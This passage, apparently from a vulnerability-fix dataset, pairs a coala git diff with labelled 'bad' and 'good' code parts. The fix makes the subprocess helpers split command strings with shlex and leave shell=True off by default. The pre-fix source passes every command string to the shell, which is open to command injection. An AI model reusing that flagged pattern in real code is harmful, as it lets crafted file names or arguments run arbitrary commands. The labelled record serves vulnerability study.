``TypeError`` is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n+ if not kwargs.get(\"shell\", False) and isinstance(command, str):\n+ command = shlex.split(command)\n+\n process = Popen(command,\n- shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n@@ -40,15 +54,25 @@ def run_interactive_shell_command(command, **kwargs):\n \n def run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n- Runs a command in shell and returns the read stdout and stderr data.\n+ Runs a single command in shell and returns the read stdout and stderr data.\n+\n+ This function waits for the process (created using ``subprocess.Popen()``)\n+ to exit.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass ``shell=True`` like\n+ you would do for ``subprocess.Popen()``.\n \n- This function waits for the process to exit.\n+ See also ``run_interactive_shell_command()``.\n \n- :param command: The command to run on shell.\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using ``shlex.split()``.\n :param stdin: Initial input to send to the process.\n- :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n- that is used to spawn the process (except ``shell``,\n- ``stdout``, ``stderr``, ``stdin`` and\n+ :param kwargs: Additional keyword arguments to pass to\n+ ``subprocess.Popen`` that are used to spawn the process\n+ (except ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A tuple with ``(stdoutstring, stderrstring)``.\n \"\"\"\n@@ -67,10 +91,10 @@ def get_shell_type(): # pragma: no cover\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n- out = run_shell_command(\"echo $host.name\")[0]\n+ out = run_shell_command(\"echo $host.name\", shell=True)[0]\n if out.strip() == \"ConsoleHost\":\n return \"powershell\"\n- out = run_shell_command(\"echo $0\")[0]\n+ out = run_shell_command(\"echo $0\", shell=True)[0]\n if out.strip() == \"$0\":\n return \"cmd\"\n return \"sh\"\ndiff --git a/tests/misc/ShellTest.py b/tests/misc/ShellTest.py\nindex f96080fa..19dfadac 100644\n--- a/tests/misc/ShellTest.py\n+++ b/tests/misc/ShellTest.py\n@@ -78,12 +78,10 @@ class RunShellCommandTest(unittest.TestCase):\n \n @staticmethod\n def construct_testscript_command(scriptname):\n- return \" \".join(\n- escape_path_argument(s) for s in (\n- sys.executable,\n+ return (sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n- scriptname)))\n+ scriptname))\n \n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n@@ -105,7 +103,7 @@ def test_run_interactive_shell_command_kwargs_delegation(self):\n \n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n- with run_interactive_shell_command(\"some_command\", shell=False):\n+ with run_interactive_shell_command(\"some_command\", stdout=None):\n pass\n \n def test_run_shell_command_without_stdin(self):\n", "files": {"/coalib/bearlib/abstractions/Lint.py": {"changes": [{"diff": "\n \n stdin_input = \"\".join(file) if self.use_stdin else None\n stdout_output, stderr_output = run_shell_command(self.command,\n- stdin=stdin_input)\n+ stdin=stdin_input,\n+ shell=True)\n self.stdout_output = tuple(stdout_output.splitlines(keepends=True))\n self.stderr_output = tuple(stderr_output.splitlines(keepends=True))\n results_output = (self.stderr_output if self.use_stderr", "add": 2, "remove": 1, "filename": "/coalib/bearlib/abstractions/Lint.py", "badparts": [" stdin=stdin_input)"], "goodparts": [" stdin=stdin_input,", " shell=True)"]}], "source": "\nimport os import re import shutil from subprocess import check_call, CalledProcessError, DEVNULL import tempfile from coalib.bears.Bear import Bear from coalib.misc.Decorators import enforce_signature from coalib.misc.Shell import escape_path_argument, run_shell_command from coalib.results.Diff import Diff from coalib.results.Result import Result from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY class Lint(Bear): \"\"\" Deals with the creation of linting bears. For the tutorial see: http://coala.readthedocs.org/en/latest/Users/Tutorials/Linter_Bears.html :param executable: The executable to run the linter. :param prerequisite_command: The command to run as a prerequisite and is of type ``list``. :param prerequisites_fail_msg: The message to be displayed if the prerequisite fails. :param arguments: The arguments to supply to the linter, such that the file name to be analyzed can be appended to the end. Note that we use ``.format()`` on the arguments - so, ``{abc}`` needs to be given as ``{{abc}}``. Currently, the following will be replaced: -``{filename}`` -The filename passed to ``lint()`` -``{config_file}`` -The config file created using ``config_file()`` :param output_regex: The regex which will match the output of the linter to get results. This is not used if ``gives_corrected`` is set. This regex should give out the following variables: -line -The line where the issue starts. -column -The column where the issue starts. -end_line -The line where the issue ends. -end_column -The column where the issue ends. -severity -The severity of the issue. -message -The message of the result. -origin -The origin of the issue. :param diff_severity: The severity to use for all results if ``gives_corrected`` is set. :param diff_message: The message to use for all results if ``gives_corrected`` is set. :param use_stderr: Uses stderr as the output stream is it's True. :param use_stdin: Sends file as stdin instead of giving the file name. :param gives_corrected: True if the executable gives the corrected file or just the issues. :param severity_map: A dict where the keys are the possible severity values the Linter gives out and the values are the severity of the coala Result to set it to. If it is not a dict, it is ignored. \"\"\" executable=None prerequisite_command=None prerequisite_fail_msg='Unknown failure.' arguments=\"\" output_regex=re.compile(r'(?P\\d+)\\.(?P\\d+)\\|' r'(?P\\d+):(?P.*)') diff_message='No result message was set' diff_severity=RESULT_SEVERITY.NORMAL use_stderr=False use_stdin=False gives_corrected=False severity_map=None def lint(self, filename=None, file=None): \"\"\" Takes a file and lints it using the linter variables defined apriori. :param filename: The name of the file to execute. :param file: The contents of the file as a list of strings. \"\"\" assert((self.use_stdin and file is not None) or (not self.use_stdin and filename is not None)) config_file=self.generate_config_file() self.command=self._create_command(filename=filename, config_file=config_file) stdin_input=\"\".join(file) if self.use_stdin else None stdout_output, stderr_output=run_shell_command(self.command, stdin=stdin_input) self.stdout_output=tuple(stdout_output.splitlines(keepends=True)) self.stderr_output=tuple(stderr_output.splitlines(keepends=True)) results_output=(self.stderr_output if self.use_stderr else self.stdout_output) results=self.process_output(results_output, filename, file) if not self.use_stderr: self._print_errors(self.stderr_output) if config_file: os.remove(config_file) return results def process_output(self, output, filename, file): \"\"\" Take the output(from stdout or stderr) and use it to create Results. If the class variable ``gives_corrected`` is set to True, the ``_process_corrected()`` is called. If it is False, ``_process_issues()`` is called. :param output: The output to be used to obtain Results from. The output is either stdout or stderr depending on the class variable ``use_stderr``. :param filename: The name of the file whose output is being processed. :param file: The contents of the file whose output is being processed. :return: Generator which gives Results produced based on this output. \"\"\" if self.gives_corrected: return self._process_corrected(output, filename, file) else: return self._process_issues(output, filename) def _process_corrected(self, output, filename, file): \"\"\" Process the output and use it to create Results by creating diffs. The diffs are created by comparing the output and the original file. :param output: The corrected file contents. :param filename: The name of the file. :param file: The original contents of the file. :return: Generator which gives Results produced based on the diffs created by comparing the original and corrected contents. \"\"\" for diff in self.__yield_diffs(file, output): yield Result(self, self.diff_message, affected_code=(diff.range(filename),), diffs={filename: diff}, severity=self.diff_severity) def _process_issues(self, output, filename): \"\"\" Process the output using the regex provided in ``output_regex`` and use it to create Results by using named captured groups from the regex. :param output: The output to be parsed by regex. :param filename: The name of the file. :param file: The original contents of the file. :return: Generator which gives Results produced based on regex matches using the ``output_regex`` provided and the ``output`` parameter. \"\"\" regex=self.output_regex if isinstance(regex, str): regex=regex %{\"file_name\": filename} for match in re.finditer(regex, \"\".join(output)): yield self.match_to_result(match, filename) def _get_groupdict(self, match): \"\"\" Convert a regex match's groups into a dictionary with data to be used to create a Result. This is used internally in ``match_to_result``. :param match: The match got from regex parsing. :param filename: The name of the file from which this match is got. :return: The dictionary containing the information: -line -The line where the result starts. -column -The column where the result starts. -end_line -The line where the result ends. -end_column -The column where the result ends. -severity -The severity of the result. -message -The message of the result. -origin -The origin of the result. \"\"\" groups=match.groupdict() if( isinstance(self.severity_map, dict) and \"severity\" in groups and groups[\"severity\"] in self.severity_map): groups[\"severity\"]=self.severity_map[groups[\"severity\"]] return groups def _create_command(self, **kwargs): command=self.executable +' ' +self.arguments for key in(\"filename\", \"config_file\"): kwargs[key]=escape_path_argument(kwargs.get(key, \"\") or \"\") return command.format(**kwargs) def _print_errors(self, errors): for line in filter(lambda error: bool(error.strip()), errors): self.warn(line) @staticmethod def __yield_diffs(file, new_file): if tuple(new_file) !=tuple(file): wholediff=Diff.from_string_arrays(file, new_file) for diff in wholediff.split_diff(): yield diff def match_to_result(self, match, filename): \"\"\" Convert a regex match's groups into a coala Result object. :param match: The match got from regex parsing. :param filename: The name of the file from which this match is got. :return: The Result object. \"\"\" groups=self._get_groupdict(match) for variable in(\"line\", \"column\", \"end_line\", \"end_column\"): if variable in groups and groups[variable]: groups[variable]=int(groups[variable]) if \"origin\" in groups: groups['origin']=\"{}({})\".format(str(self.__class__.__name__), str(groups[\"origin\"])) return Result.from_values( origin=groups.get(\"origin\", self), message=groups.get(\"message\", \"\"), file=filename, severity=int(groups.get(\"severity\", RESULT_SEVERITY.NORMAL)), line=groups.get(\"line\", None), column=groups.get(\"column\", None), end_line=groups.get(\"end_line\", None), end_column=groups.get(\"end_column\", None)) @classmethod def check_prerequisites(cls): \"\"\" Checks for prerequisites required by the Linter Bear. It uses the class variables: - ``executable`` -Checks that it is available in the PATH using ``shutil.which``. - ``prerequisite_command`` -Checks that when this command is run, the exitcode is 0. If it is not zero, ``prerequisite_fail_msg`` is gives as the failure message. If either of them is set to ``None`` that check is ignored. :return: True is all checks are valid, else False. \"\"\" return cls._check_executable_command( executable=cls.executable, command=cls.prerequisite_command, fail_msg=cls.prerequisite_fail_msg) @classmethod @enforce_signature def _check_executable_command(cls, executable, command:(list, tuple, None), fail_msg): \"\"\" Checks whether the required executable is found and the required command succesfully executes. The function is intended be used with classes having an executable, prerequisite_command and prerequisite_fail_msg. :param executable: The executable to check for. :param command: The command to check as a prerequisite. :param fail_msg: The fail message to display when the command doesn't return an exitcode of zero. :return: True if command successfully executes, or is not required. not True otherwise, with a string containing a detailed description of the error. \"\"\" if cls._check_executable(executable): if command is None: return True try: check_call(command, stdout=DEVNULL, stderr=DEVNULL) return True except(OSError, CalledProcessError): return fail_msg else: return repr(executable) +\" is not installed.\" @staticmethod def _check_executable(executable): \"\"\" Checks whether the needed executable is present in the system. :param executable: The executable to check for. :return: True if binary is present, or is not required. not True otherwise, with a string containing a detailed description of what's missing. \"\"\" if executable is None: return True return shutil.which(executable) is not None def generate_config_file(self): \"\"\" Generates a temporary config file. Note: The user of the function is responsible for deleting the tempfile when done with it. :return: The file name of the tempfile created. \"\"\" config_lines=self.config_file() config_file=\"\" if config_lines is not None: for i, line in enumerate(config_lines): config_lines[i]=line if line.endswith(\"\\n\") else line +\"\\n\" config_fd, config_file=tempfile.mkstemp() os.close(config_fd) with open(config_file, 'w') as conf_file: conf_file.writelines(config_lines) return config_file @staticmethod def config_file(): \"\"\" Returns a configuation file from the section given to the bear. The section is available in ``self.section``. To add the config file's name generated by this function to the arguments, use ``{config_file}``. :return: A list of lines of the config file to be used or None. \"\"\" return None ", "sourceWithComments": "import os\nimport re\nimport shutil\nfrom subprocess import check_call, CalledProcessError, DEVNULL\nimport tempfile\n\nfrom coalib.bears.Bear import Bear\nfrom coalib.misc.Decorators import enforce_signature\nfrom coalib.misc.Shell import escape_path_argument, run_shell_command\nfrom coalib.results.Diff import Diff\nfrom coalib.results.Result import Result\nfrom coalib.results.RESULT_SEVERITY import RESULT_SEVERITY\n\n\nclass Lint(Bear):\n\n \"\"\"\n Deals with the creation of linting bears.\n\n For the tutorial see:\n http://coala.readthedocs.org/en/latest/Users/Tutorials/Linter_Bears.html\n\n :param executable: The executable to run the linter.\n :param prerequisite_command: The command to run as a prerequisite\n and is of type ``list``.\n :param prerequisites_fail_msg: The message to be displayed if the\n prerequisite fails.\n :param arguments: The arguments to supply to the linter,\n such that the file name to be analyzed\n can be appended to the end. Note that\n we use ``.format()`` on the arguments -\n so, ``{abc}`` needs to be given as\n ``{{abc}}``. Currently, the following\n will be replaced:\n\n - ``{filename}`` - The filename passed\n to ``lint()``\n - ``{config_file}`` - The config file\n created using ``config_file()``\n\n :param output_regex: The regex which will match the output of the linter\n to get results. This is not used if\n ``gives_corrected`` is set. This regex should give\n out the following variables:\n\n - line - The line where the issue starts.\n - column - The column where the issue starts.\n - end_line - The line where the issue ends.\n - end_column - The column where the issue ends.\n - severity - The severity of the issue.\n - message - The message of the result.\n - origin - The origin of the issue.\n\n :param diff_severity: The severity to use for all results if\n ``gives_corrected`` is set.\n :param diff_message: The message to use for all results if\n ``gives_corrected`` is set.\n :param use_stderr: Uses stderr as the output stream is it's True.\n :param use_stdin: Sends file as stdin instead of giving the file name.\n :param gives_corrected: True if the executable gives the corrected file\n or just the issues.\n :param severity_map: A dict where the keys are the possible severity\n values the Linter gives out and the values are the\n severity of the coala Result to set it to. If it is\n not a dict, it is ignored.\n \"\"\"\n executable = None\n prerequisite_command = None\n prerequisite_fail_msg = 'Unknown failure.'\n arguments = \"\"\n output_regex = re.compile(r'(?P\\d+)\\.(?P\\d+)\\|'\n r'(?P\\d+): (?P.*)')\n diff_message = 'No result message was set'\n diff_severity = RESULT_SEVERITY.NORMAL\n use_stderr = False\n use_stdin = False\n gives_corrected = False\n severity_map = None\n\n def lint(self, filename=None, file=None):\n \"\"\"\n Takes a file and lints it using the linter variables defined apriori.\n\n :param filename: The name of the file to execute.\n :param file: The contents of the file as a list of strings.\n \"\"\"\n assert ((self.use_stdin and file is not None) or\n (not self.use_stdin and filename is not None))\n\n config_file = self.generate_config_file()\n self.command = self._create_command(filename=filename,\n config_file=config_file)\n\n stdin_input = \"\".join(file) if self.use_stdin else None\n stdout_output, stderr_output = run_shell_command(self.command,\n stdin=stdin_input)\n self.stdout_output = tuple(stdout_output.splitlines(keepends=True))\n self.stderr_output = tuple(stderr_output.splitlines(keepends=True))\n results_output = (self.stderr_output if self.use_stderr\n else self.stdout_output)\n results = self.process_output(results_output, filename, file)\n if not self.use_stderr:\n self._print_errors(self.stderr_output)\n\n if config_file:\n os.remove(config_file)\n\n return results\n\n def process_output(self, output, filename, file):\n \"\"\"\n Take the output (from stdout or stderr) and use it to create Results.\n If the class variable ``gives_corrected`` is set to True, the\n ``_process_corrected()`` is called. If it is False,\n ``_process_issues()`` is called.\n\n :param output: The output to be used to obtain Results from. The\n output is either stdout or stderr depending on the\n class variable ``use_stderr``.\n :param filename: The name of the file whose output is being processed.\n :param file: The contents of the file whose output is being\n processed.\n :return: Generator which gives Results produced based on this\n output.\n \"\"\"\n if self.gives_corrected:\n return self._process_corrected(output, filename, file)\n else:\n return self._process_issues(output, filename)\n\n def _process_corrected(self, output, filename, file):\n \"\"\"\n Process the output and use it to create Results by creating diffs.\n The diffs are created by comparing the output and the original file.\n\n :param output: The corrected file contents.\n :param filename: The name of the file.\n :param file: The original contents of the file.\n :return: Generator which gives Results produced based on the\n diffs created by comparing the original and corrected\n contents.\n \"\"\"\n for diff in self.__yield_diffs(file, output):\n yield Result(self,\n self.diff_message,\n affected_code=(diff.range(filename),),\n diffs={filename: diff},\n severity=self.diff_severity)\n\n def _process_issues(self, output, filename):\n \"\"\"\n Process the output using the regex provided in ``output_regex`` and\n use it to create Results by using named captured groups from the regex.\n\n :param output: The output to be parsed by regex.\n :param filename: The name of the file.\n :param file: The original contents of the file.\n :return: Generator which gives Results produced based on regex\n matches using the ``output_regex`` provided and the\n ``output`` parameter.\n \"\"\"\n regex = self.output_regex\n if isinstance(regex, str):\n regex = regex % {\"file_name\": filename}\n\n # Note: We join ``output`` because the regex may want to capture\n # multiple lines also.\n for match in re.finditer(regex, \"\".join(output)):\n yield self.match_to_result(match, filename)\n\n def _get_groupdict(self, match):\n \"\"\"\n Convert a regex match's groups into a dictionary with data to be used\n to create a Result. This is used internally in ``match_to_result``.\n\n :param match: The match got from regex parsing.\n :param filename: The name of the file from which this match is got.\n :return: The dictionary containing the information:\n - line - The line where the result starts.\n - column - The column where the result starts.\n - end_line - The line where the result ends.\n - end_column - The column where the result ends.\n - severity - The severity of the result.\n - message - The message of the result.\n - origin - The origin of the result.\n \"\"\"\n groups = match.groupdict()\n if (\n isinstance(self.severity_map, dict) and\n \"severity\" in groups and\n groups[\"severity\"] in self.severity_map):\n groups[\"severity\"] = self.severity_map[groups[\"severity\"]]\n return groups\n\n def _create_command(self, **kwargs):\n command = self.executable + ' ' + self.arguments\n for key in (\"filename\", \"config_file\"):\n kwargs[key] = escape_path_argument(kwargs.get(key, \"\") or \"\")\n return command.format(**kwargs)\n\n def _print_errors(self, errors):\n for line in filter(lambda error: bool(error.strip()), errors):\n self.warn(line)\n\n @staticmethod\n def __yield_diffs(file, new_file):\n if tuple(new_file) != tuple(file):\n wholediff = Diff.from_string_arrays(file, new_file)\n\n for diff in wholediff.split_diff():\n yield diff\n\n def match_to_result(self, match, filename):\n \"\"\"\n Convert a regex match's groups into a coala Result object.\n\n :param match: The match got from regex parsing.\n :param filename: The name of the file from which this match is got.\n :return: The Result object.\n \"\"\"\n groups = self._get_groupdict(match)\n\n # Pre process the groups\n for variable in (\"line\", \"column\", \"end_line\", \"end_column\"):\n if variable in groups and groups[variable]:\n groups[variable] = int(groups[variable])\n\n if \"origin\" in groups:\n groups['origin'] = \"{} ({})\".format(str(self.__class__.__name__),\n str(groups[\"origin\"]))\n\n return Result.from_values(\n origin=groups.get(\"origin\", self),\n message=groups.get(\"message\", \"\"),\n file=filename,\n severity=int(groups.get(\"severity\", RESULT_SEVERITY.NORMAL)),\n line=groups.get(\"line\", None),\n column=groups.get(\"column\", None),\n end_line=groups.get(\"end_line\", None),\n end_column=groups.get(\"end_column\", None))\n\n @classmethod\n def check_prerequisites(cls):\n \"\"\"\n Checks for prerequisites required by the Linter Bear.\n\n It uses the class variables:\n - ``executable`` - Checks that it is available in the PATH using\n ``shutil.which``.\n - ``prerequisite_command`` - Checks that when this command is run,\n the exitcode is 0. If it is not zero, ``prerequisite_fail_msg``\n is gives as the failure message.\n\n If either of them is set to ``None`` that check is ignored.\n\n :return: True is all checks are valid, else False.\n \"\"\"\n return cls._check_executable_command(\n executable=cls.executable,\n command=cls.prerequisite_command,\n fail_msg=cls.prerequisite_fail_msg)\n\n @classmethod\n @enforce_signature\n def _check_executable_command(cls, executable,\n command: (list, tuple, None), fail_msg):\n \"\"\"\n Checks whether the required executable is found and the\n required command succesfully executes.\n\n The function is intended be used with classes having an\n executable, prerequisite_command and prerequisite_fail_msg.\n\n :param executable: The executable to check for.\n :param command: The command to check as a prerequisite.\n :param fail_msg: The fail message to display when the\n command doesn't return an exitcode of zero.\n\n :return: True if command successfully executes, or is not required.\n not True otherwise, with a string containing a\n detailed description of the error.\n \"\"\"\n if cls._check_executable(executable):\n if command is None:\n return True # when there are no prerequisites\n try:\n check_call(command, stdout=DEVNULL, stderr=DEVNULL)\n return True\n except (OSError, CalledProcessError):\n return fail_msg\n else:\n return repr(executable) + \" is not installed.\"\n\n @staticmethod\n def _check_executable(executable):\n \"\"\"\n Checks whether the needed executable is present in the system.\n\n :param executable: The executable to check for.\n\n :return: True if binary is present, or is not required.\n not True otherwise, with a string containing a\n detailed description of what's missing.\n \"\"\"\n if executable is None:\n return True\n return shutil.which(executable) is not None\n\n def generate_config_file(self):\n \"\"\"\n Generates a temporary config file.\n Note: The user of the function is responsible for deleting the\n tempfile when done with it.\n\n :return: The file name of the tempfile created.\n \"\"\"\n config_lines = self.config_file()\n config_file = \"\"\n if config_lines is not None:\n for i, line in enumerate(config_lines):\n config_lines[i] = line if line.endswith(\"\\n\") else line + \"\\n\"\n config_fd, config_file = tempfile.mkstemp()\n os.close(config_fd)\n with open(config_file, 'w') as conf_file:\n conf_file.writelines(config_lines)\n return config_file\n\n @staticmethod\n def config_file():\n \"\"\"\n Returns a configuation file from the section given to the bear.\n The section is available in ``self.section``. To add the config\n file's name generated by this function to the arguments,\n use ``{config_file}``.\n\n :return: A list of lines of the config file to be used or None.\n \"\"\"\n return None\n"}, "/coalib/misc/Shell.py": {"changes": [{"diff": "\n def run_interactive_shell_command(command, **kwargs):\n \"\"\"\n- Runs a command in shell and provides stdout, stderr and stdin streams.\n-\n- This function creates a context manager that sets up the process, returns\n- to caller, closes streams and waits for process to exit on leaving.\n-\n- The process is opened in ``universal_newlines`` mode.\n-\n- :param command: The command to run on shell.\n- :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n- that is used to spawn the process (except ``shell``,\n- ``stdout``, ``stderr``, ``stdin`` and\n+ Runs a single command in shell and provides stdout, stderr and stdin\n+ streams.\n+\n+ This function creates a context manager that sets up the process (using\n+ ``subprocess.Popen()``), returns to caller, closes streams and waits for\n+ process to exit on leaving.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass ``shell=True`` like\n+ you would do for ``subprocess.Popen()``.\n+\n+ The process is opened in ``universal_newlines`` mode by default.\n+\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using ``shlex.split()``. If providing ``shell=True`` as a\n+ keyword-argument, no ``shlex.split()`` is performed and the\n+ command string goes directly to ``subprocess.Popen()``.\n+ :param kwargs: Additional keyword arguments to pass to\n+ ``subprocess.Popen`` that is used to spawn the process\n+ (except ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n+ if not kwargs.get(\"shell\", False) and isinstance(command, str):\n+ command = shlex.split(command)\n+\n process = Popen(command,\n- shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n", "add": 25, "remove": 12, "filename": "/coalib/misc/Shell.py", "badparts": [" Runs a command in shell and provides stdout, stderr and stdin streams.", " This function creates a context manager that sets up the process, returns", " to caller, closes streams and waits for process to exit on leaving.", " The process is opened in ``universal_newlines`` mode.", " :param command: The command to run on shell.", " :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``", " that is used to spawn the process (except ``shell``,", " ``stdout``, ``stderr``, ``stdin`` and", " shell=True,"], "goodparts": [" Runs a single command in shell and provides stdout, stderr and stdin", " streams.", " This function creates a context manager that sets up the process (using", " ``subprocess.Popen()``), returns to caller, closes streams and waits for", " process to exit on leaving.", " Shell execution is disabled by default (so no shell expansion takes place).", " If you want to turn shell execution on, you can pass ``shell=True`` like", " you would do for ``subprocess.Popen()``.", " The process is opened in ``universal_newlines`` mode by default.", " :param command: The command to run on shell. This parameter can either", " be a sequence of arguments that are directly passed to", " the process or a string. A string gets splitted beforehand", " using ``shlex.split()``. If providing ``shell=True`` as a", " keyword-argument, no ``shlex.split()`` is performed and the", " command string goes directly to ``subprocess.Popen()``.", " :param kwargs: Additional keyword arguments to pass to", " ``subprocess.Popen`` that is used to spawn the process", " (except ``stdout``, ``stderr``, ``stdin`` and", " if not kwargs.get(\"shell\", False) and isinstance(command, str):", " command = shlex.split(command)"]}, {"diff": "\n \n def run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n- Runs a command in shell and returns the read stdout and stderr data.\n+ Runs a single command in shell and returns the read stdout and stderr data.\n+\n+ This function waits for the process (created using ``subprocess.Popen()``)\n+ to exit.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass ``shell=True`` like\n+ you would do for ``subprocess.Popen()``.\n \n- This function waits for the process to exit.\n+ See also ``run_interactive_shell_command()``.\n \n- :param command: The command to run on shell.\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using ``shlex.split()``.\n :param stdin: Initial input to send to the process.\n- :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n- that is used to spawn the process (except ``shell``,\n- ``stdout``, ``stderr``, ``stdin`` and\n+ :param kwargs: Additional keyword arguments to pass to\n+ ``subprocess.Popen`` that are used to spawn the process\n+ (except ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A tuple with ``(stdoutstring, stderrstring)``.\n \"\"\"\n", "add": 16, "remove": 6, "filename": "/coalib/misc/Shell.py", "badparts": [" Runs a command in shell and returns the read stdout and stderr data.", " This function waits for the process to exit.", " :param command: The command to run on shell.", " :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``", " that is used to spawn the process (except ``shell``,", " ``stdout``, ``stderr``, ``stdin`` and"], "goodparts": [" Runs a single command in shell and returns the read stdout and stderr data.", " This function waits for the process (created using ``subprocess.Popen()``)", " to exit.", " Shell execution is disabled by default (so no shell expansion takes place).", " If you want to turn shell execution on, you can pass ``shell=True`` like", " you would do for ``subprocess.Popen()``.", " See also ``run_interactive_shell_command()``.", " :param command: The command to run on shell. This parameter can either", " be a sequence of arguments that are directly passed to", " the process or a string. A string gets splitted beforehand", " using ``shlex.split()``.", " :param kwargs: Additional keyword arguments to pass to", " ``subprocess.Popen`` that are used to spawn the process", " (except ``stdout``, ``stderr``, ``stdin`` and"]}, {"diff": "\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n- out = run_shell_command(\"echo $host.name\")[0]\n+ out = run_shell_command(\"echo $host.name\", shell=True)[0]\n if out.strip() == \"ConsoleHost\":\n return \"powershell\"\n- out = run_shell_command(\"echo $0\")[0]\n+ out = run_shell_command(\"echo $0\", shell=True)[0]\n if out.strip() == \"$0\":\n return \"cmd\"\n return \"sh", "add": 2, "remove": 2, "filename": "/coalib/misc/Shell.py", "badparts": [" out = run_shell_command(\"echo $host.name\")[0]", " out = run_shell_command(\"echo $0\")[0]"], "goodparts": [" out = run_shell_command(\"echo $host.name\", shell=True)[0]", " out = run_shell_command(\"echo $0\", shell=True)[0]"]}], "source": "\nfrom contextlib import contextmanager from subprocess import PIPE, Popen from coalib.parsing.StringProcessing import escape @contextmanager def run_interactive_shell_command(command, **kwargs): \"\"\" Runs a command in shell and provides stdout, stderr and stdin streams. This function creates a context manager that sets up the process, returns to caller, closes streams and waits for process to exit on leaving. The process is opened in ``universal_newlines`` mode. :param command: The command to run on shell. :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen`` that is used to spawn the process(except ``shell``, ``stdout``, ``stderr``, ``stdin`` and ``universal_newlines``, a ``TypeError`` is raised then). :return: A context manager yielding the process started from the command. \"\"\" process=Popen(command, shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE, universal_newlines=True, **kwargs) try: yield process finally: process.stdout.close() process.stderr.close() process.stdin.close() process.wait() def run_shell_command(command, stdin=None, **kwargs): \"\"\" Runs a command in shell and returns the read stdout and stderr data. This function waits for the process to exit. :param command: The command to run on shell. :param stdin: Initial input to send to the process. :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen`` that is used to spawn the process(except ``shell``, ``stdout``, ``stderr``, ``stdin`` and ``universal_newlines``, a ``TypeError`` is raised then). :return: A tuple with ``(stdoutstring, stderrstring)``. \"\"\" with run_interactive_shell_command(command, **kwargs) as p: ret=p.communicate(stdin) return ret def get_shell_type(): \"\"\" Finds the current shell type based on the outputs of common pre-defined variables in them. This is useful to identify which sort of escaping is required for strings. :return: The shell type. This can be either \"powershell\" if Windows Powershell is detected, \"cmd\" if command prompt is been detected or \"sh\" if it's neither of these. \"\"\" out=run_shell_command(\"echo $host.name\")[0] if out.strip()==\"ConsoleHost\": return \"powershell\" out=run_shell_command(\"echo $0\")[0] if out.strip()==\"$0\": return \"cmd\" return \"sh\" def prepare_string_argument(string, shell=get_shell_type()): \"\"\" Prepares a string argument for being passed as a parameter on shell. On ``sh`` this function effectively encloses the given string with quotes(either '' or \"\", depending on content). :param string: The string to prepare for shell. :param shell: The shell platform to prepare string argument for. If it is not \"sh\" it will be ignored and return the given string without modification. :return: The shell-prepared string. \"\"\" if shell==\"sh\": return '\"' +escape(string, '\"') +'\"' else: return string def escape_path_argument(path, shell=get_shell_type()): \"\"\" Makes a raw path ready for using as parameter in a shell command(escapes illegal characters, surrounds with quotes etc.). :param path: The path to make ready for shell. :param shell: The shell platform to escape the path argument for. Possible values are \"sh\", \"powershell\", and \"cmd\"(others will be ignored and return the given path without modification). :return: The escaped path argument. \"\"\" if shell==\"cmd\": return '\"' +escape(path, '\"', '^') +'\"' elif shell==\"sh\": return escape(path, \" \") else: return path ", "sourceWithComments": "from contextlib import contextmanager\nfrom subprocess import PIPE, Popen\n\nfrom coalib.parsing.StringProcessing import escape\n\n\n@contextmanager\ndef run_interactive_shell_command(command, **kwargs):\n \"\"\"\n Runs a command in shell and provides stdout, stderr and stdin streams.\n\n This function creates a context manager that sets up the process, returns\n to caller, closes streams and waits for process to exit on leaving.\n\n The process is opened in ``universal_newlines`` mode.\n\n :param command: The command to run on shell.\n :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n that is used to spawn the process (except ``shell``,\n ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n process = Popen(command,\n shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n universal_newlines=True,\n **kwargs)\n try:\n yield process\n finally:\n process.stdout.close()\n process.stderr.close()\n process.stdin.close()\n process.wait()\n\n\ndef run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n Runs a command in shell and returns the read stdout and stderr data.\n\n This function waits for the process to exit.\n\n :param command: The command to run on shell.\n :param stdin: Initial input to send to the process.\n :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n that is used to spawn the process (except ``shell``,\n ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a ``TypeError`` is raised then).\n :return: A tuple with ``(stdoutstring, stderrstring)``.\n \"\"\"\n with run_interactive_shell_command(command, 